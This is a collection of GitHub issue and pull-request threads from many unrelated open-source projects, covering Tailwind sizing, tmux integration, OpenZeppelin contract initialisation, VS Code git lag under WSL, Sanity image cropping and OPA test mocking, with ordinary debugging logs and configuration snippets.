I only see a class for making something 100vh, but what about a % of vh?
I sometimes build my views with 90vh for example.

You can add those values to your config if you need them 👍🏻
https://tailwindcss.com/docs/min-height/#customizing

Thanks Adam!


Support Series.between

Support Series.between

Hi, How can I help with this issue?

Hi, How can I help with this issue?

You're welcome.

Hi,
I have created a PR #2368 for this issue.


prettier as our code rules and use eslint with the flag --fix formatted our codes

Codecov Report

Merging #3 into master will not change coverage.
The diff coverage is 100%.

@@          Coverage Diff          @@
##           master     #3   +/-   ##
=====================================
  Coverage     100%   100%
=====================================
  Files           3      3
  Lines          37     37
=====================================
  Hits           37     37

Impacted Files
Coverage Δ

src/utils/index.js
100% <100%> (ø)
:white_check_mark:

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update fb395cd...d9da991. Read the comment docs.


Add WebAssembly example project and update docs.

Add WebAssembly example project and update docs
Description
Added a WebAssembly example project and updated the docs.
Checklist

[ ] Linked to Github Issue
[ ] Unit tests added
[ ] Integration tests added.
[ ] This change requires new documentation.

[ ] Documentation has been added/updated.

How does excluding something from coverage work?

Modify .tarpaulin.toml to look like this:
[cairo-rs]
exclude-files = ["wasm-examples"]

[report]
output-dir = "target/tarpaulin"
out = ["Html", "Xml"]

The features is not really documented, I had to dig the sources to find how to do it via the config file. But at least it works.


#6209 added aliases for javascript and html magic command

Default matchCommand logic has been separated to MagicCommandFunctionality interface as default methods.
If magic command require to use multiple aliases it can override getMagicCommandAliases() or if it require custom command matching it can override matchCommand()

This is good I like how matchCommand is factored out.
However, %lsmagic needs to report the new aliases.

another possible approach: don't create the notion of "aliases" in the code at all.
just define two magics "js" and "javascript" that both happen to call the same implementation?

According to your comment i have created aliases as new magic commands by extending original magic commands and overwriting their names.


fix(tmux): fix tmux module to comply with latest changes to tmux API

It seems that tmux has recently made changes to the way some of their commands give output. Since Harpoon depends on some of those commands for the harpoon.tmux module, some changes were necessary to allow this to work.

@pranavrao145 I'm just going to trust you our correct. I do not use harpoon and tmux.

The change from select-pane to select-window breaks the goto terminal when using a pane identifier, like {right-of}. However, the initial select-pane change introduced by @camgraff  would break the case when the user is trying to move to a specific window and not a pane. I think we need to separate these two cases, using select-window or select-pane depending on the context to get this to work for both cases.

@svrana this is a good point, do you want to open a new issue on this?

@pranavrao145 I've opened #158 and attached a patch, seems to work for both cases, but let me know if you have any problems.

Awesome, thanks @svrana, I'll test it out and let you know.

PS: Apologies, I think this one is on me; if I had looked at the commit history before committing this could have been avoided. Anyway, thanks for spotting that!

@svrana update, seems to work, thanks for the fix!

I am still having problems with this though ... the tmux command lua require('harpoon.tmux').gotoTerminal(2) always creates a new tmux window ... I will investigate further ...


Expected  to be a scalar value but was an array

I'm trying to do erc20-onboarding but unfortunately, I am not able to create/deploy the UpgradeableToken Contract because of this error when trying to input my answer for "decimal".

Expected  to be a scalar value but was an array

I did a temporary quick-fix solution just to create/deploy the contract, I manually commented part of the code to run it but I hope this can be fixed permanently.

openzeppelin\cli\lib\utils\input.js

Hey @superern! As a temporary workaround, can you try without passing the --args parameter? It should force the CLI to prompt you for the arguments one by one, which may help with this issue. Still, we're flagging this as a bug to take care of this on our end as well.

@spalladino , yes it worked! unfortunately, there were too many "initialize" function and instead of reading the initialize in my Custom Contract, it reads the "initialize" in ERC20Detailed imported contract.
My problem right now is when I choose one of the "initialize" function, I cannot run the other "initialize" function. I was trying to find a way if there's some sort of running all the "initialize" functions since some of those are required.
`contract NewGenerationToken is Initializable, ERC20Detailed, ERC20Mintable, Ownable {
uint256 test;
/**
 * @dev Initialization function.
 * @dev This function will initialize the new upgradeable ERC20 contract and will set up the ERC20 migrator.
 */
function initialize(ERC20Detailed _legacyToken, ERC20Migrator _migrator) initializer public {
    ERC20Mintable.initialize(address(_migrator));
    ERC20Detailed.initialize(_legacyToken.name(), _legacyToken.symbol(), 18);
}

}`
This is the snippet of the contract I am using with multiple "initialize" functions.
The inherited contracts that have it are:

Ownable
ERC20Detailed
ERC20Mintable
Parent contract (NewGenerationToken)

And as you can see, it needs to run other "initialize" functions too.
Thank you for your time looking at the issue!

I have this problem too. Is there no way to specify the initialize function you wish to call yet?

@Emobe if you do not set a --init or --args option, the CLI will prompt you to choose which function you want to call, allowing you to pick the correct function from a list.

Rename the initialize function your top-level contract:
function initializeAll(address sender) public initializer { ...
Then you can call in a shell script:
contractAddress=$(oz create MyContractName --init initializeAll --args ${ownerAccount} --no-interactive | tail -n 1)


Update requirements

Type of Change
update requirement to solve CVEs

https://inteltf-jenk.sh.intel.com/view/nlp-toolkit-validation/job/nlp-toolkit-validation-top-mr-extension/1447/


ChatGPT unthemed elements

Is there an existing issue outlining your problem?

[X] I have searched the existing issues and they do not solve my problem.

What userstyles are you seeing the problem on?
lbl:chatgpt
Describe your problem.
Some elements recently became unthemed in the ChatGPT interface.
Attach screenshots.

What browser(s) are you seeing the problem on?
Firefox v122.0
Any additional comments?
No response

Thanks for making an issue. I'm working on a fix that you'll hopefully be able to get later today or tomorrow :)

Sorry it's taking a bit but you can go to https://raw.githubusercontent.com/uncenter/ctp-userstyles/refactor/chatgpt-rewrite/styles/chatgpt/catppuccin.user.css and install the refactored version before it gets merged if you want to. Almost everything is there, just waiting on some new preview images and a few small unthemed things.

Just installed that version, and it looks like most elements are properly themed now; although I did find one that isn't

I did notice, though, at least with the mocha variant, that the main background is using the mantle color. Shouldn't it be using base?

I just installed that version, and it looks like most elements are properly themed now, although I did find one that isn't

Can you give me reproducible steps to access this?

On the GPTs page, the featured GPTs are also a little harsh to look at, and there's not much contract between the cards and the text

Unfortunately I don't think I can access that page without paying from the premium version of ChatGPT...

I also noticed that, at least with the mocha variant, the primary backgrounds use the mantle color. Shouldn't it be using base?

Fixed! Thanks for pointing it out.

Can you give me reproducible steps to access this?
You can reproduce it by downvoting any of its responses and submitting feedback (you don't have to enter/select anything)

Can you give me reproducible steps to access this?

You can reproduce it by downvoting any of its responses and submitting feedback (you don't have to enter/select anything)

Thanks! Should be fixed now, along with a couple other fixes for various borders and colors. Keep letting me know if you find any other issues please!


margin-{top,bottom} on .pane causes hiding to stop working

I want to style the scrollbar so that it has 5px of space above and below .pane. In other words, make .pane shorter than .content.
If I use e.g. .pane { margin: 5px 0; } to achieve this, I break the hiding of the scrollbar when it is not needed. This is because nanoScroller checks if the .pane's (inner) height is equal or larger than the content area's height. If the check instead was made using .outerHeight(true) (true to include margins) instead, my restyling would not break the hiding of the scrollbar.
Alternatively, I can add .slider { margin: 5px 5px 5px 0; }. If so, I do not disturb the hiding and it adds spacing above the slider. Below the slider, there is no spacing, since the positioning of the slider does not take it's margin into account.
I hope this either can be fixed in nanoScroller, or that you have an alternative way to style .pane so that it is a bit shorter than .content.

I tried doing the outerHeight(true) method. It did fix the scenario where the scroller is not needed. But now it bleeds the outer edge when it is. :-(
i've setup a html/css solution for this. http://bl.ocks.org/2007032
You should put the .nano container inside a layer with a padding value. Or add a margin rule to the .nano div content. This way, it allows the content layout to have a breathing space. (which I assume you were aiming for).


Git causes terminal to lag when using WSL bridge

Issue Type: Performance Issue
This behavior just started on a new laptop with a newly installed vscode using minimal plugins. When doing any operation in git in the integrated terminal, the entire terminal will start lagging. It'll be behind when I'm typing and sometimes freeze. This only seems to happen when using the WSL bridge, setting my terminal to wsl.exe and using it outside of the WSL bridge doesn't have this problem. Disabling git using "git.enabled": false" also fixes the issue but this is a poor workaround.
VS Code version: Code 1.43.0 (78a4c91400152c0f27ba4d363eb56d2835f9903a, 2020-03-09T19:47:57.235Z)
OS version: Windows_NT x64 10.0.19569
Remote OS version: Linux x64 4.4.0-19569-Microsoft

System Info

Item
Value

CPUs
Intel(R) Core(TM) i9-9880H CPU @ 2.30GHz (16 x 2304)

GPU Status
2d_canvas: enabledflash_3d: enabledflash_stage3d: enabledflash_stage3d_baseline: enabledgpu_compositing: enabledmultiple_raster_threads: enabled_onoop_rasterization: disabled_offprotected_video_decode: enabledrasterization: enabledskia_renderer: disabled_off_okvideo_decode: enabledviz_display_compositor: enabled_onviz_hit_test_surface_layer: disabled_off_okwebgl: enabledwebgl2: enabled

Load (avg)
undefined

Memory (System)
63.73GB (40.95GB free)

Process Argv

Screen Reader
no

VM
50%

Item
Value

Remote
WSL: Ubuntu

OS
Linux x64 4.4.0-19569-Microsoft

CPUs
Intel(R) Core(TM) i9-9880H CPU @ 2.30GHz (16 x 2304)

Memory (System)
63.73GB (40.95GB free)

VM
50%

Process Info
CPU %	Mem MB	   PID	Process
    0	    84	 35844	code main
    0	    54	  2076	   electron-crash-reporter
    0	    41	 20228	   utility
    0	    82	 29928	   window (Issue Reporter)
    0	   335	 32820	   gpu-process
    0	    88	 35668	   shared-process
    0	   182	 38440	   window (settings.json - templates [WSL: Ubuntu] - Visual Studio Code)
    0	    90	 38672	     extensionHost
    0	     6	 27684	       C:\Windows\system32\wsl.exe /home/aordonez/nvim-linux64/bin/nvim -N --embed -c "source $(wslpath 'c:\Users\Adrian Ordonez\.vscode\extensions\asvetliakov.vscode-neovim-0.0.50\vim\vscode-options.vim')" --cmd "source $(wslpath 'c:\Users\Adrian Ordonez\.vscode\extensions\asvetliakov.vscode-neovim-0.0.50\vim\vscode-neovim.vim')"
    0	     6	 19880	         C:\WINDOWS\system32\lxss\wslhost.exe {61584952-56c6-461b-96d1-127633e3a75e} 480 488 492
    0	    12	 26336	           console-window-host (Windows internal process)
    0	    11	 25868	         console-window-host (Windows internal process)
    0	    62	 35492	       electron_node wslDaemon.js
    0	     6	  3956	         C:\WINDOWS\System32\wsl.exe -d Ubuntu sh -c '"$VSCODE_WSL_EXT_LOCATION/scripts/wslServer.sh" 78a4c91400152c0f27ba4d363eb56d2835f9903a stable .vscode-server 0  '
    0	    11	 18412	           console-window-host (Windows internal process)
    0	     6	 35476	           C:\WINDOWS\system32\lxss\wslhost.exe {61584952-56c6-461b-96d1-127633e3a75e} 492 500 504
    0	    12	 28496	             console-window-host (Windows internal process)

Remote: WSL: Ubuntu
CPU %	Mem MB	   PID	Process
    0	     0	 17971	remote agent
    0	     0	 17987	   watcherService
    0	     0	 18058	   extensionHost
    0	     0	 18078	     /mnt/c/Users/Adrian Ordonez/Home/.vscode-server/bin/78a4c91400152c0f27ba4d363eb56d2835f9903a/node /mnt/c/Users/Adrian Ordonez/Home/.vscode-server/bin/78a4c91400152c0f27ba4d363eb56d2835f9903a/extensions/json-language-features/server/dist/jsonServerMain --node-ipc --clientProcessId=18058
    0	     0	 19266	     /usr/bin/zsh
    0	     0	 19325	       /usr/bin/zsh
    0	     0	 20615	   /bin/sh -c /bin/ps -ax -o pid=,ppid=,pcpu=,pmem=,command=
    0	     0	 20616	     /bin/ps -ax -o pid=,ppid=,pcpu=,pmem=,command=

Workspace Info

|  Remote: WSL: Ubuntu|    Folder (templates): 4 files|      File types: yml(2) md(1)
|      Conf files:;

Extensions (7)

Extension
Author (truncated)
Version

prettier-vscode
esb
3.20.0

vscode-kubernetes-tools
ms-
1.1.0

vscode-yaml
red
0.7.2

vscode-neovim
asv
0.0.50

remote-wsl
ms-
0.42.3

code-settings-sync
Sha
3.4.3

viml
Xad
0.0.2

After testing a few of the settings, it appears that gitlab.autorefresh is specifically what's causing this lag. Again, this only happens when using the WSL bridge (remote WSL). Setting "gitlab.autorefresh": false is a better workaround, but still not ideal for most.

Could you check the git output channel (Output in the panel, then choose git in dropdown) for whether there are a lot of git commands that happen when you're using git in the terminal? Maybe your workspace is triggering the git extension to start hammering git for some reason 🤔
I use Remote WSL quite a bit and haven't noticed anything like this.
Could you also share your settings.json file?

Sure, here's just spamming the terminal with git commands
I'm in that gitlab-runner helm chart repo here but it happens with much smaller repositories as well.
charts/gitlab-runner master
❯ git status
On branch master
Your branch is up to date with 'origin/master'.

nothing to commit, working tree clean
charts/gitlab-runner master
❯ git add .
 charts/gitlab-runner master
❯ git commit
On branch master
Your branch is up to date with 'origin/master'.

nothing to commit, working tree clean
charts/gitlab-runner master
❯ git status
On branch master
Your branch is up to date with 'origin/master'.

nothing to commit, working tree clean

This caused significant lag while typing git add . and git commit where the text didn't appear for a couple seconds.
Here is the output of git
> git status -z -u
> git symbolic-ref --short HEAD
> git rev-parse master
> git ls-files --stage -- /mnt/c/Code/public/gitlab/gitlab-org/charts/gitlab-runner/templates/deployment.yaml
> git rev-parse --symbolic-full-name master@{u}
> git cat-file -s b3512a991ed76777b04440c8210b4badbf3be54e
> git rev-list --left-right master...refs/remotes/origin/master
> git show :templates/deployment.yaml
> git for-each-ref --format %(refname) %(objectname) --sort -committerdate
> git remote --verbose
Failed to watch ref '/mnt/c/Code/public/gitlab/gitlab-org/charts/gitlab-runner/.git/refs/remotes/origin/master', is most likely packed.
Error: ENOENT: no such file or directory, watch '/mnt/c/Code/public/gitlab/gitlab-org/charts/gitlab-runner/.git/refs/remotes/origin/master'
	at FSWatcher.start (internal/fs/watchers.js:165:26)
	at Object.watch (fs.js:1270:11)
	at Object.t.watch (/mnt/c/Users/Adrian Ordonez/Home/.vscode-server/bin/78a4c91400152c0f27ba4d363eb56d2835f9903a/extensions/git/dist/main.js:1:596727)
	at E.updateTransientWatchers (/mnt/c/Users/Adrian Ordonez/Home/.vscode-server/bin/78a4c91400152c0f27ba4d363eb56d2835f9903a/extensions/git/dist/main.js:1:82685)
	at l.fire (/mnt/c/Users/Adrian Ordonez/Home/.vscode-server/bin/78a4c91400152c0f27ba4d363eb56d2835f9903a/out/vs/server/remoteExtensionHostProcess.js:48:865)
	at R.updateModelState (/mnt/c/Users/Adrian Ordonez/Home/.vscode-server/bin/78a4c91400152c0f27ba4d363eb56d2835f9903a/extensions/git/dist/main.js:1:101543)
> git config --get commit.template
> git ls-files --stage -- /mnt/c/Code/public/gitlab/gitlab-org/charts/gitlab-runner/templates/deployment.yaml
> git cat-file -s b3512a991ed76777b04440c8210b4badbf3be54e
> git ls-files --stage -- /mnt/c/Code/public/gitlab/gitlab-org/charts/gitlab-runner/templates/deployment.yaml
> git cat-file -s b3512a991ed76777b04440c8210b4badbf3be54e
> git show :templates/deployment.yaml
> git ls-files --stage -- /mnt/c/Code/public/gitlab/gitlab-org/charts/gitlab-runner/templates/deployment.yaml
> git status -z -u
> git cat-file -s b3512a991ed76777b04440c8210b4badbf3be54e
> git symbolic-ref --short HEAD
> git rev-parse master
> git show :templates/deployment.yaml
> git rev-parse --symbolic-full-name master@{u}
> git rev-list --left-right master...refs/remotes/origin/master
> git for-each-ref --format %(refname) %(objectname) --sort -committerdate
> git remote --verbose
Failed to watch ref '/mnt/c/Code/public/gitlab/gitlab-org/charts/gitlab-runner/.git/refs/remotes/origin/master', is most likely packed.
Error: ENOENT: no such file or directory, watch '/mnt/c/Code/public/gitlab/gitlab-org/charts/gitlab-runner/.git/refs/remotes/origin/master'
	at FSWatcher.start (internal/fs/watchers.js:165:26)
	at Object.watch (fs.js:1270:11)
	at Object.t.watch (/mnt/c/Users/Adrian Ordonez/Home/.vscode-server/bin/78a4c91400152c0f27ba4d363eb56d2835f9903a/extensions/git/dist/main.js:1:596727)
	at E.updateTransientWatchers (/mnt/c/Users/Adrian Ordonez/Home/.vscode-server/bin/78a4c91400152c0f27ba4d363eb56d2835f9903a/extensions/git/dist/main.js:1:82685)
	at l.fire (/mnt/c/Users/Adrian Ordonez/Home/.vscode-server/bin/78a4c91400152c0f27ba4d363eb56d2835f9903a/out/vs/server/remoteExtensionHostProcess.js:48:865)
	at R.updateModelState (/mnt/c/Users/Adrian Ordonez/Home/.vscode-server/bin/78a4c91400152c0f27ba4d363eb56d2835f9903a/extensions/git/dist/main.js:1:101543)
	at processTicksAndRejections (internal/process/task_queues.js:89:5)
> git config --get commit.template
> git status -z -u
> git symbolic-ref --short HEAD
> git rev-parse master
> git rev-parse --symbolic-full-name master@{u}
> git rev-list --left-right master...refs/remotes/origin/master
> git for-each-ref --format %(refname) %(objectname) --sort -committerdate
> git remote --verbose
Failed to watch ref '/mnt/c/Code/public/gitlab/gitlab-org/charts/gitlab-runner/.git/refs/remotes/origin/master', is most likely packed.
Error: ENOENT: no such file or directory, watch '/mnt/c/Code/public/gitlab/gitlab-org/charts/gitlab-runner/.git/refs/remotes/origin/master'
	at FSWatcher.start (internal/fs/watchers.js:165:26)
	at Object.watch (fs.js:1270:11)
	at Object.t.watch (/mnt/c/Users/Adrian Ordonez/Home/.vscode-server/bin/78a4c91400152c0f27ba4d363eb56d2835f9903a/extensions/git/dist/main.js:1:596727)
	at E.updateTransientWatchers (/mnt/c/Users/Adrian Ordonez/Home/.vscode-server/bin/78a4c91400152c0f27ba4d363eb56d2835f9903a/extensions/git/dist/main.js:1:82685)
	at l.fire (/mnt/c/Users/Adrian Ordonez/Home/.vscode-server/bin/78a4c91400152c0f27ba4d363eb56d2835f9903a/out/vs/server/remoteExtensionHostProcess.js:48:865)
	at R.updateModelState (/mnt/c/Users/Adrian Ordonez/Home/.vscode-server/bin/78a4c91400152c0f27ba4d363eb56d2835f9903a/extensions/git/dist/main.js:1:101543)
	at processTicksAndRejections (internal/process/task_queues.js:89:5)
> git config --get commit.template

Here is my settings.json
{
    // #region neovim
    "vscode-neovim.useWSL": true,
    "vscode-neovim.neovimPath": "/home/aordonez/nvim-linux64/bin/nvim",
    // #endregion
    // #region editor
    "editor.fontFamily": "SauceCodePro NF",
    "editor.fontSize": 12,
    "editor.wordWrap": "off",
    "editor.wordWrapColumn": 120,
    "editor.minimap.enabled": false,
    "explorer.openEditors.visible": 0,
    "editor.lineNumbers": "relative",
    "editor.formatOnSave": false,
    "editor.formatOnPaste": true,
    "editor.tabSize": 2,
    "editor.rulers": [
        120
    ],
    // #endregion
    // #region workbench
    "workbench.sideBar.location": "right",
    "workbench.editor.enablePreview": false,
    "workbench.activityBar.visible": false,
    "workbench.settings.editor": "json",
    "workbench.colorTheme": "Monokai",
    "workbench.startupEditor": "newUntitledFile",
    // #endregion
    // #region terminal
    "terminal.integrated.fontFamily": "SauceCodePro NF",
    "terminal.integrated.fontWeightBold": "500",
    "terminal.integrated.shell.windows": "wsl.exe",
    "terminal.integrated.rendererType": "dom",
    // #endregion
    // #region Language Specific
    "[htlm]": {
        "editor.defaultFormatter": "vscode.html-language-features"
    },
    "[rust]": {
        "editor.tabSize": 4
    },
    "[helm]": {
        "editor.rulers": []
    },
    // #endregion
    // #region files
    "files.trimTrailingWhitespace": true,
    "files.insertFinalNewline": true,
    "files.associations": {
        "[Dd]ockerfile*": "dockerfile"
    },
    // #endregion
    // #region prettier
    "prettier.proseWrap": "always",
    "prettier.printWidth": 120,
    "prettier.tabWidth": 2,
    "editor.renderWhitespace": "all",
    "sync.gist": "[REDACTED]",
    "[yaml]": {
        "editor.defaultFormatter": "redhat.vscode-yaml"
    },
    // #endregion
    "git.enabled": true,
    "gitlens.advanced.messages": {
        "suppressGitDisabledWarning": true
    },
}

Think this is related to git locking other git commands until they're done and just being generally slower over wsl bridge.

Do you see the same slowness if you work on that repository directly from Windows? Instead of using the WSL bridge. It's generally a bad idea to be in Windows and use WSL to edit files on the Windows side... you're paying an unneccessary performance cost.

@Tyriar I'm not seeing this same lag on an older laptop I have running the same set up. WSL bridge editing code on /mnt/c/Code/ with the git extension enabled. I don't understand why git performing operations in the background would block the UI, especially for the terminal since it should be a child process, right?
@joaomoreno I don't see the same lag happening on Windows.
I work often in mono repos where the set up is ASP.NET Core and Angular in a ClientApp folder. I generally write dotnet in Rider and Angular in vscode. Rider doesn't have a WSL bridge, and can't edit WSL files, and I prefer to have all my tools in Linux and would if Rider had a WSL bridge. I'm playing around with running Rider in WSL using X11 and X410.

@Tyriar  @joaomoreno I had forgotten to test whether I was getting this problem in the WSL file system and it seems I am. So to recap, when using the latest version of vscode through the WSL bridge, I get a laggy terminal from background git operations, possibly other background processes that would block the UI. This is occurring when using the WSL Bridge in WSL1 regardless of editing in the WSL file system or the Windows file system. The only mitigation so far is to use vscode without the WSL bridge editing on the Windows file system.

The "fix" here might be to patiently wait for WSL2 to hit stable Windows like I am.

@Tyriar Haha, sorry for the mix up in terminology. I'll try to remember to call it Remote WSL.
I'm in the Windows Insider program and was able to test out the WSL Remote in WSL2, it all seems to work as expected and pretty smoothly even editing on /mnt/c which isn't its strong suit (https://github.com/microsoft/WSL/issues/4197).
I've been holding off on switching to WSL2 till it has a stable release but I might just switch over early. However, this might not be an option for everyone since WSL2 requires hyper-v, so people running anything less than Windows 10 Professional or are running VMWare Workstation won't be able to use WSL2. That, and AFAIK, WSL1 isn't going to be deprecated (https://docs.microsoft.com/en-us/windows/wsl/wsl2-faq#what-will-happen-to-wsl-1-will-it-be-abandoned) so this is still an issue.
I'm planning on trying a fresh install of vscode on a separate machine later this week and if it goes well, I'll reinstall on my workstation laptop to see if it fixes anything, fingers crossed.

Great to know. Closing this as upstream then, since the fix will eventually land in Windows stable.


Referenced script missing in Examples Hub Scene (UPM)

Describe the bug
The LoadProfilesOnStartup script is missing from SceneContent when playing the MRTKExamplesHub scene (the SceneContent GameObject is under MRTKExamplesHubMainMenu in the hierarchy).
To reproduce
Steps to reproduce the behavior:

Go to the MRTKExamplesHub scene
Click on play
See error

Your setup

Unity 2019.4.10f1
Latest MRTK UPM package

Target platform

HoloLens 2

Thanks @MaxWang-MS ! I'll take a look today


Rebase dev-es branch

Describe your changes
Update dev-es branch before merge in main
Related issue number or link (ex: resolves #issue-number)
N/A
Checklist before opening this PR (put x in the checkboxes)

[ ] This PR does not contain plagiarism

don’t copy other people’s work unless you are quoting and contributing it to them.

[ ] I have signed off on all commits

signing off (ex: git commit -s) is to affirm that commits comply DCO.

Hi @electrocucaracha
This PR includes Conflicting files. :)

Hi @electrocucaracha This PR includes Conflicting files. :)

That's the weird thing @seokho-son because I resolved them locally. Anyway, I'm going to give a try later.

@seokho-son the Resolve conflicts button is disabled from my side, could you help me on resolve these rebase conflicts. I'm not sure why it keeps showing them.

@electrocucaracha is this still relevant? If yes, there are conflicts that have to be solved FYI :)

@iamNoah1 yes, it's. I'm still working on that. I'm not sure why this keep showing conflicts event after solve them locally.

Closing this in favor of #1341


Updated rp-basic-ensemble.py example

Summary
The original example had mdrun arguments hard coded in the python script that made the script only valid for thread-MPI GROMACS installations.

Add some flexibility to account for different possible GROMACS back-end.
Defer GROMACS resource assignment flags to user, via new --mdrun-arg.

Validation
In a Docker container with 4 cores, I installed gmxapi 0.4.0 with an MPI-enabled GROMACS 2023, and ran the following.
python rp_basic_ensemble.py --resource docker.login --access ssh --venv $VIRTUAL_ENV/ --pilot-option cores=4 --procs-per-sim 2 --size 2 --mdrun-arg maxh 0.01 --log-level DEBUG

Based on the terminal output, I then checked the MD log to confirm the simulation ran successfully with 2 MPI ranks.
cat  /home/rp/radical.pilot.sandbox/rp.session.2c419e24-bcec-11ed-9770-0242ac120003/pilot.e6f81a7e-d847-4e28-810e-24c632616aef/rp-basic-ensemble-1/mdrun_6d00f4b07eabc852c23b016d1c2ca339_i0_0/md.log

I believe this has now been confirmed with MPI-gromacs on bridges2. @wehs7661 do you have any feedback or requested changes or should this be merged?


Xcode Compilation Errors for UIImage Property

When I add CTPanoramaView.swift to Xcode 12.0 beta 6 or Xcode 11.x I am getting 2 compilation errors:

Overriding non-open property outside of its defining module
Property 'image' with type 'UIImage?' cannot override a property with type 'UIImage'

in this code
    @objc public var image: UIImage? {
        didSet {
            panoramaType = panoramaTypeForCurrentImage
        }
    }

Any ideas why this is happening? Would like to try this library.

It seems like you're trying to override a public property, which is not possible. Even if it was, you couldn't convert an optional property to a non-optional one while doing so.


FIRST TRY

#3043 github:gh-readonly-queue/main/pr-2985-d5e9427b8bc38fe0b720d434032321bae23b2397

[x] Have you followed the contributing guidelines?
l1- [ ] Have you explained what your changes do, and why they add value to the Guides?

Please note: we will close your PR without comment if you do not check the boxes above and provide ALL requested information.
----- )

[x] Have you followed the contributing guidelines?
[x] Have you explained what your changes do, and why they add value to the Guides?

**Please note: we will close your PR without comment if you do not check the boxes above and provide ALL requested

information.**

Merge pull request #3051 Add Fathom Analytics 📊


Inconsistent settings order in nicknamer config

v1.1.1+1.19.3
In-game Name Format and Chat Format settings are ordered
Pronouns & Nicknames Visible
Nicknames Visible
Pronouns Visible
None Visible
Player List Name Format settings are ordered
Pronouns & Nicknames Visible
Pronouns Visible
Nicknames Visible
None Visible

Fixed in v1.1.2+1.20.4, if you want me to backport it to older MC versions lmk :)


Adding AddRequestCultureProvider as extension method

For all that are familiar with localization, adding new culture provider is something confusing, because the developer expect that the newly added provider is winner provider, but it's not!!
Have a look to this we should use Insert instead of Add, to let our culture provider wins over the other predefined culture providers.
Using this
options.AddRequestCultureProvider(new CustomRequestCultureProvider(async context =>
{

}));

is slightly better than
options.RequestCultureProviders.Insert(0, new CustomRequestCultureProvider(async context =>
{

}));

/cc @ryanbrandenburg

@rynowak is this fine to send a PR for it?

@hishamco, yes, feel free to send us a PR.


fix error when update.json is missing

Fixes https://github.com/bacalhau-project/expanso-planning/issues/41

Would it be worth moving the initialization of the file to repo instantiation? i.e. this method https://github.com/bacalhau-project/bacalhau/blob/main/pkg/repo/fs.go#L193

@frrist Moving it to the repo init makes sense – does that run even for pre-existing repos? Or do we still have to handle the case where it doesn't exist for users with earlier versions?

We want to create the file on existing repos as well. The fix will not log an error and the file will be created after


As a editor I want to be able to crop the images inside the text editor of news articles to avoid image manipulation outside the studio

Acceptance criteria

For inline images the image should be cropped, but it shouldn't use hotspot features

In order to ensure good quality we should (Keep the ones we need for this US)

[ ] Perform integration testing
[ ] Perform functional testing
[ ] Extra focus on usability
[ ] Test for portability
[ ] Test for accessibility
[ ] Create automated acceptance test/smoke test
[ ] Perform performance and load test
[ ] Perform user testing
[ ] Perform security testing

TL;DR: Images in a responsive world are hard.
For the rich text editor we don't know the aspect ratio upfront as the images can be things like figures, maps or portraits of people. That means we have to display the image as it is with unknown height, unlike the hero image and cards images with predefined aspect ratio. This will cause issues with CLS (Cumulative layout shift) since the browser can't set aside space in advance. The next-sanity-image package and Next.js image pipeline work by mandatory predefined height and width, where height with aspect ratio is calculated.
With the images inside the rich text editor this is not possible, and the way we initially created these images were based on the original dimensions on width and height without the crop and highlight information from Sanity.
The way the image information is saved in Sanity is by an object containing the asset itself with original dimension, the hotspot info and crop info.
image {
  asset: {...},
  crop: {....},
  hotspot: {...},
}

We just passed the information in image.asset to the image pipeline, and this works well for images without aspect ratio by using the original dimensions. To support the crop feature however, we needed to pass the crop information as well, and that is far more complicated.  Out of the box this will result in an image that is stretched to fill the dimension box based on original width and height (since the crop information is applied after the size calculations):

We could use object-fit: contain for the <img> tag and then the result will be an image that is actually cropped that means it's smaller than the available width/height. The pros is that the image will look good, just smaller.

While this might be acceptable, it's not a 100% perfect solution. The conclusion for this issue is that we need to investigate this a lot more to find a better solution.
Some ideas and things to remember:

Since the next-sanity-image library only supports the responsive layout mode could we fork this library and do something more clever for other types of images?
We want the lazy loading features of the Next.js image pipeline as well as using the Sanity image API
We could generate image url with the API ourselves but then we'll need the lazy loading as a separate library
If we are able to find the correct image dimensions for the cropped version and not the original version this will be a whole lot easier

Plan: Create a separate issue and look more into this at a later stage. Watch Next.js image pipeline for new features. In the meantime, roll back the cropping functionality as we don't have a final solution with regards on both performance , UX and publisher's experience yet.


Fix maven build

Fixed build.
The WAR packaging could not be used for the client javascript projects because of missing configuration. I think no war should be created at all in that projects. 😄
Removed resolutions form bower.json.

Mhh, jetty needs the war packaging to run ...


Breaking Dependency on OPA in Unit Testing

💡 Summary
This is an issue to address the dependency on the OPA executable in unit testing and the Invoke-Rego function. This issue applies to #167 when it is merged in.
Motivation and context
Unit testing should test only that the OPA is invoked properly and not test OPA itself. Whether the OPA is installed or not should not cause unit tests to fail as it currently does when #167 is merged in.
Implementation notes
Once #167 is merged, the following files will need changed so they mock up the OPA call.

Run-Rego.Tests.ps1
Invoke-RunRego.Tests.ps1
(There may be more)

Acceptance criteria
Pester unit tests should pass regardless of whether OPA is installed or not.

References to the OPA executable or the OPA executable path:
RunUnitTests.ps1

line 94
line 134
line 169

Invoke-RunRego.ps1

line 22

RegoCachedProviderTesting.ps1

line 46
line 53

Run-Rego.Tests.ps1

line 19


operator/ingress: Add HTTP cookie capture

operator/v1/types_ingress.go (CookieMatchType): New type.  Specify a type of match (exact or prefix) for identifying cookies.
operator/v1/0000_50_ingress-operator_00-ingresscontroller.crd.yaml-merge-patch: Patch the validation of the spec.logging.access.httpCaptureCookies field to require the name subfield if the matchType subfield is "Exact" and require the namePrefix subfield if matchType is "Prefix".
(IngressControllerCaptureHTTPCookies): New type.  Specify a cookie name, maximum value length, and match type (using the new CookieMatchType type) to use when capturing cookies for access logs.
(AccessLogging): Add HTTPCaptureCookies field of type IngressControllerCaptureHTTPCookies.
operator/v1/0000_50_ingress-operator_00-ingresscontroller.crd.yaml: Regenerate.

Depends on https://github.com/openshift/api/pull/686.

Rebased.  #686 merged, so this PR is unblocked.

Added more validation.

/lgtm


Add a formatter

We're already using golangci-lint and lll to check formatting. But I'd love to have something like Python's black or ruff that formats the code in an idiomatic manner.
Gofmt already does that but it's not too opinionated around line lengths. I don't like lines that are longer than ~90 is lines. Need to research on that.

Done


Make Spellchecking demo an inline demo

Fix: https://github.com/MicrosoftEdge/Demos/pull/257#issuecomment-269547406

@alrra @melanierichards LGTM, but I would like to do some changes in the admin panel before merging it.

I would like to do some changes in the admin panel before merging it.

@sarvaje Sure!


Provide options to change section and component separators

tabline doesn't use the same section and component separators as lualine. An option to configure this during setup would be nice. Something like this. I added a screenshot, so you can see the differences in visual styles.
require("tabline").setup({
  enable = true,
  options = {
    section_separators = { "", "" },
    component_separators = { utf8.escape("%x{00B7}"), utf8.escape("%x{00B7}") },
  },
})

Yes! I meant to add support for this and completely forgot about it. I’ll do it tonight.

